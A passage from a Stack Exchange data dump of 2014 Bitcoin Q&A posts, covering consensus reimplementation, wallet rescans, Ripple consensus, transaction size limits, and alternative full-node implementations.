ContentLicense="CC BY-SA 3.0" />
  <row Id="25259" PostTypeId="2" ParentId="25254" CreationDate="2014-05-11T10:53:42.350" Score="14" Body="&lt;p&gt;(disclaimer: I work on Bitcoin Core)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Luca already mentioned, you have to distinguish wallet implementations and the fully verifying nodes on the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of how Satoshi wrote his code (a node and a wallet in the same program), the two are often confused, but this is considered a bad idea now. They can perfectly function independently. The reference client's wallet is only one of multiple wallets now, and certainly not the most used or in any privileged position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we're talking about validation on the network, things are more complex. Bitcoin is a consensus system, where every node in the network must be able to independently judge the validity of blocks, and come to the exact same conclusion as everyone else. If two nodes disagree about the validity of blocks, they will ignore the other (considering each other's blocks as attacks). If two groups of nodes with different rules both have mining power, a fork will appear, where both groups believe they're the only ones around. This is a disaster, as it means every coin that existed before the fork can be spent once on each side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, the actual rules of the network are those that full nodes implement. We can try do describe the behaviour, but can't prescribe it. If the rules would be written down in some unambiguous formal document, and a difference would be found between the rules and the implementation, we might say the implementation has a bug... but new nodes on the network would have to copy that bug nonetheless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, reimplementing those rules is far from trivial. Many people who have tried doing so have actually discovered weirdnesses in what is considered valid by the reference client, and weren't previously known. For example, Bitcoin relies on OpenSSL for signature verification, and early versions just passed whatever was found in transactions to OpenSSL. Turns out that OpenSSL actually accepts incorrectly-encoded signatures to some degree. Without knowing it, several wallet implementation had appeared over time that created such signatures (they're accepted, they must be valid, right?). This means that any new fully validating node implementation must either use OpenSSL too, or mimick it exactly by accepting the exact same set of invalid encodings. There's been progress towards making these signatures invalid (since 0.8 they're not relayed anymore), but making them actually invalid will require a coordinated soft-fork of the consensus rules (EDIT: this has happened on july 4th 2015 with BIP66 being activated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples such as that make me very uncertain about whether exact reimplementation is possible with the current state of the art. That's certainly partly due to implementation details in the reference client, but also because of how hard consensus systems are. There are unit tests for several parts of the logic, and a network interaction test that simulates several weird edge cases to see how a node responds, but they are far from complete (especially because maybe not all edge cases are even perfectly understood). Differences are unlikely to be things found through random testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, we should aim at modularizing the reference client code, and abstracting the consensus-critical part out into a library, so that it can be reused by several clients without these risks. That will inevitably take time, though.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-11-28T17:36:29.400" LastActivityDate="2015-11-28T17:36:29.400" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25260" PostTypeId="2" ParentId="24467" CreationDate="2014-05-11T12:02:57.667" Score="3" Body="&lt;p&gt;If you copy the &lt;code&gt;blocks/&lt;/code&gt; and &lt;code&gt;chainstate/&lt;/code&gt; directory, you're good to go. Rescanning the wallet will happen automatically. The &lt;code&gt;database/&lt;/code&gt; directory only contains temporary data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should make sure to shut down the node on your desktop before copying though, or the copy may be inconsistent.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-05-11T12:02:57.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25262" PostTypeId="2" ParentId="11856" CreationDate="2014-05-11T16:30:03.537" Score="1" Body="&lt;p&gt;This exactly what &lt;a href=&quot;https://www.bitpagos.net&quot; rel=&quot;nofollow&quot;&gt;BitPagos&lt;/a&gt; does, but we currently only accept Hotels and Tourism related businesses. Hopefully we would be able to open the service to any business.&lt;/p&gt;&#xA;" OwnerUserId="2951" LastActivityDate="2014-05-11T16:30:03.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25264" PostTypeId="1" CreationDate="2014-05-11T17:54:15.437" Score="4" ViewCount="268" Body="&lt;p&gt;According to the downloads for the Bitcoin client, versions older than ~0.3.0 were &quot;insecure&quot;.  Since they are not available for download (and the lack of security is the given reason) no one can learn from them or verify the reason.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question I have is, 1, does anyone have a copy of the original wallets and or their source code for download and, 2, does anyone know what made them insecure?&lt;/p&gt;&#xA;" OwnerUserId="15552" LastActivityDate="2017-03-02T01:08:38.130" Title="What made the old versions of the bitcoin wallet insecure?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25266" PostTypeId="2" ParentId="20650" CreationDate="2014-05-11T18:12:24.320" Score="1" Body="&lt;p&gt;On &lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;http://coinmarketcap.com/&lt;/a&gt; you can see most altcoins ranked by market cap. You can also sort by volume. This should give you a clear idea of what coins are currently popular.&lt;/p&gt;&#xA;" OwnerDisplayName="user13569" LastActivityDate="2014-05-11T18:12:24.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25267" PostTypeId="2" ParentId="25264" CreationDate="2014-05-11T20:27:26.390" Score="2" Body="&lt;p&gt;The source code for old versions is available in the &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt Git repository&lt;/a&gt;. Click on the &quot;branch: master&quot; button and then select &quot;Tags&quot;, and you can go all the way back to v0.1.5.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-05-11T20:27:26.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25268" PostTypeId="2" ParentId="19086" CreationDate="2014-05-12T01:31:00.337" Score="1" Body="&lt;p&gt;Disclaimer: There is no &quot;proper&quot; way to do anything :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people think that P2Pool is hard to scale. But it can be scaled easily by dividing it into smaller pools that feed into the main pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is beneficial for a lot of reasons but two important ones that come to mind are hardware restrictions (like what you seem to be getting into) and small miners being &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12797/why-is-my-p2pool-share-not-payed-out&quot;&gt;unable to revive payouts&lt;/a&gt; because of P2Pool's sharechain's difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be done any number of times, in a peer-to-peer way to achieve an acceptable difficulty; and eventually it will have to be done multiple times, if, for example, the P2Pool difficulty is in the petahashes, and people are still mining in the kilohashes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could also be done with non-peer-to-peer, &quot;standard&quot; pools (&lt;a href=&quot;https://github.com/dogestreet/proxypool&quot; rel=&quot;nofollow&quot;&gt;and has been done&lt;/a&gt;), by having them feed into the P2Pool network.&lt;/p&gt;&#xA;" OwnerUserId="2734" LastEditorUserId="2734" LastEditDate="2014-05-12T11:27:38.113" LastActivityDate="2014-05-12T11:27:38.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25269" PostTypeId="2" ParentId="20362" CreationDate="2014-05-12T04:55:20.060" Score="1" Body="&lt;p&gt;Send them yourself? Maybe a little risky, since it may be illegal, but it would get your point across. Just send them directly to their address, since you know it, and then be able to prove that you did it while bypassing BitPay/Coinbase. You can prove you bypassed them by showing the transaction was directly from A to B (A being your wallet and B being the candidate/PAC's) and showing A does in fact belong to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explaining that it is impossible to refuse a transaction is purely theoretical, so there's no getting around that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain that it isn't always possible to refund you just have to explain that it isn't uncommon for addresses to be used once and discarded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain the third problem, you should just highlight that it is possible for malevolent actors purposely send donations that would cost more to refund/get rid of than to keep and thus a requirement to do so would be asinine. Then maybe go through the technical aspect of how said transactions can be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Seeing as sending them yourself would be illegal and that is the only way without knowledge of Bitpay's addresses, you're going to need BitPay's address. You're not going to get that. At best you could send coins to them and trace their path to a storage wallet. But there's no way to know that all coins pass through the same storage wallet, so you can't say that any coins sent to the candidate from an address other than the storage address you know are directly from a person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a concrete example, say BitPay has two storage wallets A and B and you want to send coins to a candidate. The have you send your coins to wallet A and then they send the amount of coins you want to give from wallet B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Companies use schemes similar to the above example with arbitrarily many wallets. They do this because knowledge of all their storage wallets would give away competitive info like the total number of coins they have. There are just to many ways for BitPay to obfuscate their internal handling of coins for you to trace anything. So a subpoena is the only way I'm afraid.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastEditorUserId="12616" LastEditDate="2014-05-14T03:55:14.753" LastActivityDate="2014-05-14T03:55:14.753" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25270" PostTypeId="1" CreationDate="2014-05-12T05:40:09.907" Score="3" ViewCount="824" Body="&lt;p&gt;I've seen and heard about issues where a coin's network would get 'stuck' at a specific block.   I understand why it would get stuck due to high difficulty and low hash, but some coins seem to be unable to mine past a block with low diff and more than enough hash power on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two examples I can think of are Thorcoin currently stuck at block #85745 and more recently Suncoin at block #180561.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly causes this and how does it get fixed?&lt;/p&gt;&#xA;" OwnerUserId="11468" LastActivityDate="2014-06-11T19:16:12.730" Title="What causes a &quot;stuck block&quot;" Tags="|bitcoind|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25271" PostTypeId="2" ParentId="9840" CreationDate="2014-05-12T06:35:17.263" Score="1" Body="&lt;p&gt;According to the Bitcoin wiki &lt;a href=&quot;https://en.bitcoin.it/wiki/Satoshi_Client_Node_Discovery&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Satoshi_Client_Node_Discovery&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Nodes discover their own external address by various methods.&lt;/li&gt;&#xA;  &lt;li&gt;Nodes discover their own external address by various methods.&lt;/li&gt;&#xA;  &lt;li&gt;Nodes makes DNS request to receive IP addresses.&lt;/li&gt;&#xA;  &lt;li&gt;Nodes can use addresses hard coded into the software.&lt;/li&gt;&#xA;  &lt;li&gt;Nodes exchange addresses with other nodes.&lt;/li&gt;&#xA;  &lt;li&gt;Nodes store addresses in a database and read that database on startup.&lt;/li&gt;&#xA;  &lt;li&gt;Nodes can be provided addresses as command line arguments&lt;/li&gt;&#xA;  &lt;li&gt;Nodes read addresses from a user provided text file on startup&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because this is peer-to-peer technology the client is usually connected to more than one node at a time. The reference client validates every bit of information it receives. If a financial company was to go rouge and send false or incomplete data the software would realise the data is invalid and rely on the other connected nodes to operate.&lt;/p&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2014-05-12T06:35:17.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25272" PostTypeId="2" ParentId="16528" CreationDate="2014-05-12T06:57:06.890" Score="-1" Body="&lt;p&gt;Try doing a rescan. start the client with -rescan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That parameter will tell the software to scan the block chain for missing wallet transactions.&lt;/p&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2014-05-12T06:57:06.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25273" PostTypeId="1" AcceptedAnswerId="25277" CreationDate="2014-05-12T08:43:25.527" Score="1" ViewCount="131" Body="&lt;p&gt;Do full nodes verify the entire transaction chain up to coinbase when verifiying a single transaction to be included on the block which they are working on ?&lt;/p&gt;&#xA;" OwnerUserId="14876" LastActivityDate="2014-05-12T10:31:15.437" Title="Transaction verification up to coinbase?" Tags="|transactions|blockchain|verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25275" PostTypeId="1" AcceptedAnswerId="25276" CreationDate="2014-05-12T09:51:26.693" Score="4" ViewCount="1010" Body="&lt;p&gt;What kind of a Consensus Algorithms does ripple use? Is that a leader or leaderless distributed consensus algorithm? Then what?&lt;/p&gt;&#xA;" OwnerUserId="14928" LastActivityDate="2014-05-12T10:19:20.023" Title="Ripple Distributed Consensus Algorithm" Tags="|protocol|ripple|alternatives|algorithms|consensus|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25276" PostTypeId="2" ParentId="25275" CreationDate="2014-05-12T10:19:20.023" Score="2" Body="&lt;p&gt;It's leaderless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A validator begins a consensus round when it has either at least one unconfirmed transaction it thinks is valid, the idle time has expired, or it sees enough validators it trusts have begun a consensus round. Each participating validator makes an initial proposal listing the transactions it believes should be applied in the current round. The servers avalanche to consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are conflicting transactions, all cases are handled. If just one gets in the round, it is applied and the other is forever invalid. If both do, a determinstic algorithm determines which is applied first and the other fails. If neither do, a deterministic algorithm determines which is announced in the next round so there should be an agreement in that round.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because Byzantine failure is possible, validators build the next ledger at the end of the round and then broadcast a signed validation of that ledger. Seeing a supermajority of trusted validators sign validations for the same ledger assures that an actual consensus was reached. (If there was no real consensus due to Byzantine failure, the network simply tries again.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The avalanche algorithm is designed so that minimal overlap of trust is required. Essentially, if there's no reason a transaction shouldn't be included, every honest node should agree to include it. If there's any reason a transaction shouldn't be included, there's no harm done in excluding it. (So long as it's included in the next round if it's still valid.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-05-12T10:19:20.023" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25277" PostTypeId="2" ParentId="25273" CreationDate="2014-05-12T10:31:15.437" Score="2" Body="&lt;p&gt;They achieve the same result as if they did this, though not by actually doing it. (There are a number of obvious optimizations, for example, maintaining an indexed database of unspent outputs.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-05-12T10:31:15.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25280" PostTypeId="1" CreationDate="2014-05-12T11:23:05.457" Score="1" ViewCount="843" Body="&lt;p&gt;I'm newbie to bitcoins. Im trying to get the info, as much as I can.&#xA;I'm trying to get the information by using &lt;code&gt;getinfo()&lt;/code&gt; method that is mention in api documentation.&#xA;The code i have tried is mentioned below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   require_once('jsonRPCClient.php');&#xA;        $bitcoin = new jsonRPCClient('http://identifier:identiferpass@rpc.blockchain.info:443'); &#xA; print_r($bitcoin-&amp;gt;getinfo());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have googled it but didn't find the solution. I'm not getting what is the issue in the above code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to create a hello world connection. Any suggestions will be appreciated. Thank you&lt;/p&gt;&#xA;" OwnerUserId="15749" LastEditorUserId="15412" LastEditDate="2014-05-18T04:08:56.767" LastActivityDate="2014-09-15T09:50:26.763" Title="Unable to establish connection to bitcoin using json and php" Tags="|bitcoind|bitcoin-core|client|json-rpc|php|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25281" PostTypeId="2" ParentId="16528" CreationDate="2014-05-12T13:53:40.460" Score="6" Body="&lt;p&gt;The command line option is -zapwallettxes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will clear unconfirmed transactions from your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2014-05-12T13:53:40.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25283" PostTypeId="1" AcceptedAnswerId="25284" CreationDate="2014-05-12T14:42:31.297" Score="0" ViewCount="404" Body="&lt;p&gt;I think I understand mining well enough, but what I don't get is how the blocks of transactions are assembled. According to this post - &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/148/what-exactly-is-mining&quot;&gt;What exactly is Mining?&lt;/a&gt; - the miners assemble the blocks and then solve for the difficulty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, once a block is solved and the miners need to create a new block, how do the miners decide how many transactions to put in the block? Could the miner just assemble a block with a single transaction? Could certain blocks contain more or less transactions than another? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15328" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-03-15T12:47:58.073" Title="How Is Block Assembled?" Tags="|block-header|merkle-tree|mining-technical-details|transaction-selection|empty-blocks|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25284" PostTypeId="2" ParentId="25283" CreationDate="2014-05-12T14:51:01.737" Score="1" Body="&lt;p&gt;Technically a block with just one transaction in it would be valid. However miners have an incentive to add more transactions to the block they are currently mining because they receive the transaction fees attached to those transactions.&lt;/p&gt;&#xA;" OwnerUserId="3211" LastActivityDate="2014-05-12T14:51:01.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25285" PostTypeId="2" ParentId="25280" CreationDate="2014-05-12T14:53:17.383" Score="1" Body="&lt;p&gt;You are trying to connect to http over the https port. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For HTTP use:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$bitcoin = new&#xA;  jsonRPCClient('&lt;a href=&quot;http://identifier%3aidentiferpass@rpc.blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://identifier:identiferpass@rpc.blockchain.info&lt;/a&gt;');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For HTTPS use:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$bitcoin = new&#xA;  jsonRPCClient('&lt;a href=&quot;https://identifier%3aidentiferpass@rpc.blockchain.info&quot; rel=&quot;nofollow&quot;&gt;https://identifier:identiferpass@rpc.blockchain.info&lt;/a&gt;');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to the blockchain.info documentation both should work.&lt;/p&gt;&#xA;" OwnerUserId="3211" LastActivityDate="2014-05-12T14:53:17.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25286" PostTypeId="2" ParentId="25283" CreationDate="2014-05-12T15:20:39.380" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;could miners ignore transactions that didn't pay fees?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;yes. bitcoin is voluntary system. each miner has a right to include or skip any transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(not asked questions)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;why do miners include free transactions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why not? The system is for people, not people for system.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;do miners include all free transactions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No! There are some recommended rules&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_Fee&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_Fee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15732" LastActivityDate="2014-05-12T15:20:39.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25287" PostTypeId="1" CreationDate="2014-05-12T15:27:18.873" Score="2" ViewCount="614" Body="&lt;p&gt;So, blockchain.info is holding my account hostage. My phone with my 2FA was lost (and remotely wiped) and they refuse to remove the 2FA on my account to get access. I have a recent backup of my keys available but the file does not appear in the file browser (wallet.aes.json) when I select import keys. Everything I've found on the internet says to change the file filter, but there isn't a way to do that in version 0.5.18 that I can plainly see. Can someone please drop some instructions here, step-by-step so I can accomplish a recovery of my coin without the help of the ridiculous folks at blockchain.info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="15737" LastActivityDate="2015-01-08T01:20:09.603" Title="ELI5: How do I import keys from blockchain.info backup into MultiBit 0.5.18" Tags="|blockchain.info|private-key|multibit|import|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25288" PostTypeId="1" AcceptedAnswerId="25289" CreationDate="2014-05-12T16:00:27.563" Score="4" ViewCount="181" Body="&lt;p&gt;So there are hundreds of live and even thriving altcoins today. They are all basically a clone of Bitcoin and operate basically the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when you run the mining client for any given coin, how does it know which coin to work on? How does the software know to connect to Litecoin and not Dogecoin, or some other scrypt coin? I realize that when you mine you download the whole blockchain and work on it locally, then when you solve the proof of work for the next block you broadcast it to the network, but this doesn't seem like enough. How do the blocks stay with their respective coins?&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastActivityDate="2016-11-18T20:18:51.300" Title="How do altcoins tell each other apart?" Tags="|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25289" PostTypeId="2" ParentId="25288" CreationDate="2014-05-12T16:09:23.920" Score="7" Body="&lt;p&gt;Because all these altcoins run on different TCP ports and furthermore (fair) nodes won't relay invalid messages (wrong blockchain, i.e. based on different &lt;a href=&quot;https://en.bitcoin.it/wiki/Genesis_block&quot; rel=&quot;nofollow noreferrer&quot;&gt;genesis block&lt;/a&gt;, different &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Common_structures&quot; rel=&quot;nofollow noreferrer&quot;&gt;magic value&lt;/a&gt;,  etc.) or IP addresses of nodes running other altcoins.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="2306" LastEditDate="2016-11-18T20:18:51.300" LastActivityDate="2016-11-18T20:18:51.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25290" PostTypeId="1" AcceptedAnswerId="25292" CreationDate="2014-05-12T17:17:14.830" Score="4" ViewCount="1512" Body="&lt;p&gt;Is there a maximum size for any given transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just created this tx: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/testnet/tx/194173dcc07b396433d5725abe76d52b10d42ebd3d1d10b465429f87fee12a52&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blockexplorer.com/testnet/tx/194173dcc07b396433d5725abe76d52b10d42ebd3d1d10b465429f87fee12a52&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and although it seems to get confirmed I would like to know if adding more inputs or outputs (and thus increasing its size) could result in an undesired outcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar question (that doesn't answer my question, though): &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1823/what-is-the-maximum-size-of-a-transaction&quot;&gt;What is the maximum size of a transaction?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-05-12T18:50:23.113" Title="Transaction's maximum size" Tags="|raw-transaction|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25292" PostTypeId="2" ParentId="25290" CreationDate="2014-05-12T18:25:15.770" Score="5" Body="&lt;p&gt;There is a maximum standard transaction size since Bitcoin 0.8.2 of 100k per transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of other limits that influence the validation and propagation of a transaction though. Specifically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A block is &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.h#L45&quot; rel=&quot;nofollow&quot;&gt;limited&lt;/a&gt; to 20000 signature verifications.&lt;/li&gt;&#xA;&lt;li&gt;The block itself can't be larger than 1Mb.&lt;/li&gt;&#xA;&lt;li&gt;The standard Bitcoin client (Bitcoin Core / bitcoind) will refuse to relay transactions flagged as &lt;a href=&quot;https://code.google.com/p/bitcoin-wallet/wiki/DustTransactions&quot; rel=&quot;nofollow&quot;&gt;dust&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Enough fee should be included (0.0001 BTC/kb)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15524" LastEditorUserId="15524" LastEditDate="2014-05-12T18:50:23.113" LastActivityDate="2014-05-12T18:50:23.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25293" PostTypeId="1" AcceptedAnswerId="25295" CreationDate="2014-05-12T18:28:38.783" Score="9" ViewCount="5169" Body="&lt;p&gt;What is the probability distribution of solving a block, given the same difficulty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I try to mine multiple times using the same difficulty, is it normal distribution with mean of 10 minutes? What is the variance? Or is it some other distribution? Or maybe even deterministic chaos? &lt;/p&gt;&#xA;" OwnerUserId="14721" LastEditorUserId="5406" LastEditDate="2016-03-15T12:52:42.957" LastActivityDate="2023-10-08T07:06:23.250" Title="Probablity Distribution of mining" Tags="|mining-theory|proof-of-work|mining-technical-details|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25294" PostTypeId="2" ParentId="12821" CreationDate="2014-05-12T18:30:45.313" Score="11" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;a href=&quot;https://coin.dance/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coin Dance&lt;/a&gt; has an excellent table of node implementations with descriptions and links at the bottom of their &lt;a href=&quot;https://coin.dance/nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Nodes Summary&lt;/a&gt; page.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Below are the implementations I've found. I'm not sure if all of them qualify as full nodes.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/btcsuite/btcd#btcd&quot; rel=&quot;nofollow noreferrer&quot;&gt;btcd&lt;/a&gt;&#xA;(in Go, by Conformal Systems LLC)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitsofproof&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bits of Proof&lt;/a&gt;&#xA;(in Java, by bits of proof zrt.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoinj.github.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoinj&lt;/a&gt; has a&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=291581.msg3152092#msg3152092&quot; rel=&quot;nofollow noreferrer&quot;&gt;fully verifying mode&lt;/a&gt;&#xA;(in Java, by Mike Hearn)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jgarzik/picocoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;picocoin&lt;/a&gt;&#xA;(in C, by Jeff Garzik)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://libbitcoin.dyne.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;libbitcoin&lt;/a&gt; has an&#xA;&lt;a href=&quot;http://libbitcoin.dyne.org/doc/fullnode.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;example full node implementation&lt;/a&gt;,&#xA;also advertises to be a&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=291581&quot; rel=&quot;nofollow noreferrer&quot;&gt;completely independent and full Bitcoin stack&lt;/a&gt;&#xA;albeit only pre-alpha proof-of-concept with no GUI&#xA;(in C++, by Amir Taaki)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/samrushing/caesure&quot; rel=&quot;nofollow noreferrer&quot;&gt;caesure&lt;/a&gt;&#xA;(in Python, by Sam Rushing)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/spesmilo/electrum-server&quot; rel=&quot;nofollow noreferrer&quot;&gt;Electrum-server&lt;/a&gt;,&#xA;uses bitcoind as a back-end&#xA;(in Python, by thomasv@bitcointalk)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ufasoft.com/coin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ufasoft Coin&lt;/a&gt;&#xA;(in C++, only for Windows, by Ufasoft)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcore.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcore&lt;/a&gt; (in JavaScript. Note that it needs parts of Bitcoin Core to function)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(Sources: &lt;a href=&quot;https://bitcoinfoundation.org/blog/?p=204&quot; rel=&quot;nofollow noreferrer&quot;&gt;Core Development Update #4&lt;/a&gt; by Gavin Andresen, Jun 21 2013 on the Bitcoin Foundation blog; bitcointalk.org 